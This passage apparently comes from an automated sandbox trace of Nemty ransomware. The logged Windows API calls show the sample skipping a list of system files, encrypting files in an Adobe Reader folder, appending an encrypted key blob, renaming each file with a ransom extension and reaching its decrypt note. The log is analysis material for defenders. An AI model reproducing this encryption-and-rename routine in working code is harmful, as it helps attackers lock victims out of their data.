lpString2="boot.ini") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="ntuser.dat") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="desktop.ini") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="CONFIG.SYS") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="RECYCLER") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="bootmgr") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="programdata") returned 1 [0175.925] lstrcmpiW (lpString1="updater.ESP", lpString2="appdata") returned 1 [0175.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.926] Sleep (dwMilliseconds=0x5) [0175.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8317f0, dwHighDateTime=0x1d561e8)) [0175.935] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8317f0, dwHighDateTime=0x1d561e8)) [0175.935] GetLastError () returned 0x0 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.935] GetLastError () returned 0x0 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.935] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.935] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.935] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.935] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="jykNjrUP9qirPzEb7LO+mBXX8c/NC4sCEQRP7CBeMPmryvMuHajVqo0uCZWHXtxq\r\nei3B1+2sjtxmE7614w5YgqZuafcaFI7VlqBYS+0lnMLZ4hvUfQQvkApMvKvJdwZq\r\nzsispEIkSH1Wh07yNOpztivVrM6FYg66ZHGcrCJ027PxWcPshaykK0xaAfcbXvFz\r\nlUraf8YnPUZCU5uu2tcYbdj9xMJsMx+ybRVX5Wo4vmAL+QA1kGWH9/lqkQWFYgPL\r\nyZorJqi1W41WHmSztQyWp7G9XFKWqPLwuxeJd0pS/Y9lyhURC6y0VffZQvV8uigc\r\n1sM+JFYOxH8nKYj6YbCPYw==\r\n", pcchString=0x653e5dc) returned 1 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\updater.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.936] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0175.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0175.936] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.936] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0175.938] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.938] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0175.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.939] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0175.939] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.939] CloseHandle (hObject=0x2e8) returned 1 [0175.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.939] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\updater.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\updater.esp._nemty_kgobjgd_")) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.940] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.ESP", cAlternateFileName="")) returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2=".") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="..") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="...") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="windows") returned -1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="rsa") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="NTDETECT.COM") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="ntldr") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="MSDOS.SYS") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="IO.SYS") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="boot.ini") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="boot.ini") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="ntuser.dat") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="desktop.ini") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="CONFIG.SYS") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="RECYCLER") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="bootmgr") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="programdata") returned 1 [0175.940] lstrcmpiW (lpString1="Weblink.ESP", lpString2="appdata") returned 1 [0175.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.941] Sleep (dwMilliseconds=0x5) [0175.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c857950, dwHighDateTime=0x1d561e8)) [0175.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c857950, dwHighDateTime=0x1d561e8)) [0175.950] GetLastError () returned 0x0 [0175.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.950] GetLastError () returned 0x0 [0175.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.951] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.951] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/ov3U0JHf+QrHPSfgektCJbl4fUxl+ZjDw6WmKwSvZ7lWZai3B3DeDsvAX7XbhBg\r\nC5mgUOvZrP0QF+Kiz9T3Ldr8XS+Q664x1XwY1q9IeDxPVpRVpAtRu7TgvsNh4pgy\r\n7ldzS1vtURaF2cUDA9ZOHxA/PKIEL1JTW+GvXfIqT5SCeh5SKlzg6lwc4a68URa1\r\n2Oj611d+rwAGK2W/ChfIKmKBtdsOjXR19x0Zgwr69cARrY4u1lU0jWBjbvPFNhzz\r\n8dg2rIiYZRAeUbfOMZcDsxrpdIJ+ecgJJrq0E2Ww5u7EqqrgV+3uWP0b9+Ok2/8R\r\n5tdlgl9dNcIRtbSaAevYbQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\weblink.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.951] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0175.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0175.951] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.951] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0175.954] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.954] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0175.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.955] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0175.955] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.955] CloseHandle (hObject=0x2e8) returned 1 [0175.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.955] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\weblink.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\weblink.esp._nemty_kgobjgd_")) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.956] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c407170, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c407170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c407170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0175.956] lstrcmpiW 